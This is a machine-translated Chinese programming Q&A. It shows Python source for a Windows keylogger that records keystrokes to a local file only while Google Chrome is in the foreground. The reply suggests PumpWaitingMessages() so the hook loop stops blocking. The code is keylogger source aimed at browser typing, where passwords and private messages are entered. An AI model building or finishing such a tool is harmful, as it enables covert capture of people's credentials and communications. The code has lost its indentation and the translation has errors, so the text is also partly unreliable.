我在python中创建了一个简单的键盘记录程序,但是我希望它只在Google Chrome是Foreground Application的情况下运行(我的意思是只有当用户在Google Chrome中时,键盘记录器才会挂钩。如果用户离开了Chrome,那么键盘记录器将停止等等。)用户第一次进入Chrome时,它会完美地震动,但是如果前景应用程序已切换到另一个,则键盘记录继续。我发现问题在于:pythoncom.Pupmessages()。 代码永远不会继续这一行。有人有解决方案吗?
import win32gui
import win32con
import time
import pyHook
import pythoncom
import threading
LOG_FILE = "D:\\Log File.txt"
def OnKeyboardEvent(event): # on key pressed function
if event.Ascii:
f = open(LOG_FILE,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "'": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
def main():
time.sleep(2)
hooks = pyHook.HookManager()
# Finding the Foreground Application at every moment.
while True:
time.sleep(0.5)
newWindowTile = win32gui.GetWindowText(win32gui.GetForegroundWindow())
print newWindowTile
# Cheking if google chrome is running in the foreground.
if 'Google Chrome?' in newWindowTile:
hooks.KeyDown = OnKeyboardEvent
hooks.HookKeyboard()
pythoncom.PumpMessages()
time.sleep(2)
if __name__ == "__main__":
main()
答案 0 :(得分:1)
您需要使用未阻止的pythoncom.PumpWaitingMessages()
。
pc.PumpWaitingMessages()
这应该可以解决代码不能继续的问题。
PumpWaitingMessages:为当前线程提取所有等待消息。
PumpMessages:抽取当前线程的所有消息,直到WM_QUIT消息为止。